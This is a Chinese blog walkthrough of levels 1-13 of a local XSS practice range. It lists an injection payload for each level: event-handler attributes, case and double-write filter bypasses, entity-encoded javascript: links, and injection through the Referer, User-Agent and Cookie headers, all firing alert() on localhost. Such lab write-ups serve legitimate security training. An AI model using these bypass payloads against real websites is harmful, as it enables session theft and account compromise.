xss challenge靶场挑战(1-13关)

xss challenge靶场挑战(1-13关)

靶场资料

链接:https://pan.baidu.com/s/1QqZv-PaeG2d2jZZykbGurA?pwd=1nn7

第1关

http://localhost/xsschallenge/level1.php?name=%3Cscript%3Ealert(%27yuanboss%27)%3C/script%3E

image-20230825205113265

第2关

输入以下命令,点击搜索,鼠标移动到输入框即可

" onmouseover="alert('yuanboss')

image-20230825205426832

第3关

通过输入<script>alert('hello yuanboss')</script>尝试,发现JS代码完整显示在页面上了,说明后台肯定把我们的代码变为了html实体,导致无法被浏览器解析,因此就不能通过写脚本的方式来攻击了,只能从其他层面思考,使用事件函数,借助原有的input标签,把事件函数加入其中即可,但是要注意闭合问题,所以需要通过单引号双引号的尝试,判断出是用什么引号闭合的,由于源代码中htmlspecialchars函数并没有设置将单引号转为实体,正好又是单引号闭合,所以可以绕过htmlspecialchars函数。

' onmouseover='alert(666)

image-20230825210013989

第4关

这关将 <>过滤了,所以就不能通过script脚本的方式攻击了,必须借助事件函数,然后再考虑闭合就能构造出攻击代码了。

" onmouseover="alert('yuanboss')

image-20230825210644337

第5关

这关将我们的<script>过滤了,也将事件函数的on过滤了,因此只能考虑闭合双引号之后利用构造a标签的伪协议javascript:alert()

"><a href=javascript:alert('yuanboss')>点击</a>

image-20230825215437944

第6关

这关将on变成了o_n,因此可以利用大写绕过。

" oNmouseover="alert('yuanboss')

image-20230825220627297

第7关

这关使用了htmlspecialchars,将<>符号变成了html实体,就不能使用<script>进行xss攻击了所以只能考虑事件函数了,但是事件函数on替换为了空,所以需要使用双写绕过。

" oonnmouseover="alert('yuanboss')

image-20230825221852146

第8关

这个对事件函数的on进行过滤,所以只能使用伪协议了,但是由于script也被过滤了,所以需要使用ASCII HEX对伪协议的一个字母进行编码,从而绕过他的过滤规则。

javascrip&#x74;:alert(666)

提交链接之后,点击友情连接即可

image-20230827211835141

第9关

源码中具有该代码:strpos($str7,'http://')),意味着会检查我们的内容中是否有http://,所以我们可以借助/**/去绕过http://的检测,我只需要在我们的恶意代码之后用注释包裹http://即可。同时因为题目把script过滤了,所以需要对script进行ASCII HEX编码。

javascrip&#x74;:alert('yuanboss')/*http://*/

image-20230827214452575

第10关

通过F12我们可以发现该页面具有隐藏的input属性:

image-20230827214709808

所以可以通过url来传参的方式看看我们能否给这些隐藏的属性赋值:

http://localhost/xsschallenge/level10.php?t_sort=tsort&t_history=history&t_link=link

image-20230827214855376

发现t_sort是可以赋值的,所以我们可以控制t_sort的value:

http://localhost/xsschallenge/level10.php?t_sort="onmouseover="alert(666)

image-20230827215223727

但是我们现在无法把触发这个onmouseover事件函数,因为input标签被hidden属性隐藏了,所以我们需要 重新设置type,在原来的语句上加上"type=“text”

http://localhost/xsschallenge/level10.php?t_sort="onmouseover="alert(666)"type="text"

image-20230827215911415

第11关

这关没有任何输入功能,所以需要F12查看源代码:

image-20230827221348531

发现这关和第10关很相似,都是隐藏了input标签,于是尝试上一关的方式去闭合input标签的value,但是发现我们的双引号被过滤了,里面肯定使用了htmlspecialchars函数,就不能利用t_sort参数闭合了,于是需要考虑其他隐藏信息,最终发现t_ref是Referer头信息的数据。所以需要借助hackbar构造Referer数据。

使用hackbar工具,如下图所示,加上Referer头信息:" onmouseover="alert()" type="text",执行后可以出现输入框,鼠标放到输入框中即可触发事件函数。

image-20230827222032686

第12关

这关也没有我们肉眼可以输入的地方,依旧F12看源代码:

image-20230827221735731

发现又是用了隐藏标签,和第10,11关差不多,很容易看出这关的t_ua参数的value是User-Agent,所以我们只需要使用hackbar构造User-Agent进行攻击即可:

image-20230827221951843

" onmouseover="alert()" type="text"

第13关

这关也没有我们肉眼可以输入的地方,依旧F12看源代码:

image-20230827222139780

发现又是用了隐藏标签,和第10,11,12关差不多

经过参数测试,发送只有t_sort可以利用,于是输入:

http://localhost/xsschallenge/level13.php?t_sort=" onmouseover="alert(666)""

发现我们的双引号被转为html实体了,由此可知,这里又使用了可恶的函数:htmlspecialchars,导致我们不能从这一个input标签入手了

image-20230827222613521

因为这关和前面不一样的地方就是多了个名为 t_cook的input标签,这里应该很特殊,但是根据源码所提供信息,无法发现其他的东西。

于是我想到,前面使用了Referer攻击,使用了User-Agent攻击,这里有有个名为t_cook的标签,所以很大可能性就是cookie攻击,但是这个value的值固定为call me maybe?这个时候就应该确认是cookie了,因为一个网页中,只有cookie是不变的,所以这个时候就需要看看浏览器有哪些cookie,如下所示:

image-20230827223028502

有个名为user的cookie,值正好就是这关显示的call me maybe?,因此可以确定,我们需要通过key为user的cookie进行攻击,于是使用hackbar进行构造:

user=" onmouseover="alert()" type="text"

image-20230827223228248

鼠标放置输入框,可以看到弹框。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
403 - forbidden 禁止访问是一种常见的网络错误状态码,在xss靶场中表示访问被拒绝。 当我们在访问xss靶场时,如果遇到403错误,意味着我们没有足够的权限或者没有通过认证来访问该资源。403错误一般由服务器返回,用于告诉客户端请求的资源被禁止访问。 造成403错误的原因有多种可能,以下是一些常见的情况: 1. 权限不足:我们可能没有足够的权限来访问该资源,例如需要登录或者注册才能获得访问权限。在xss靶场中,为了保护敏感信息和用户数据免受未经授权的访问,可能会对某些资源进行权限限制。 2. 访问限制:某些场景下,服务器可能会对特定的IP地址、用户或者区域设置访问限制。这种限制可能是为了防止恶意攻击或者保护特定数据免受未经授权的访问。 3. 路径错误:有时候我们可能会访问错误的路径或者链接,导致服务器无法找到资源返回403错误。在xss靶场中,通常会有多个路径和链接,对每个资源进行了独立的设置和限制,如果我们访问的路径不存在或者错误,就会返回403错误。 当我们遇到403错误时,可以尝试以下几个解决办法: 1. 检查权限和认证:确保我们已经登录或者注册,并且获得了足够的权限来访问该资源。 2. 检查路径和链接:确认我们访问的路径或者链接是否错误或者不存在,避免访问错误的资源。 3. 联系管理员:如果以上方法都无法解决问题,我们可以尝试联系xss靶场的管理员,向其报告问题,以便获得更多的帮助和支持。 总结来说,403错误表示我们的访问被拒绝,可能是因为权限不足、访问限制或者路径错误等原因造成的。解决该问题需要检查权限和认证、确认路径和链接是否正确,并在需要时联系管理员寻求帮助。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yuan_boss

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值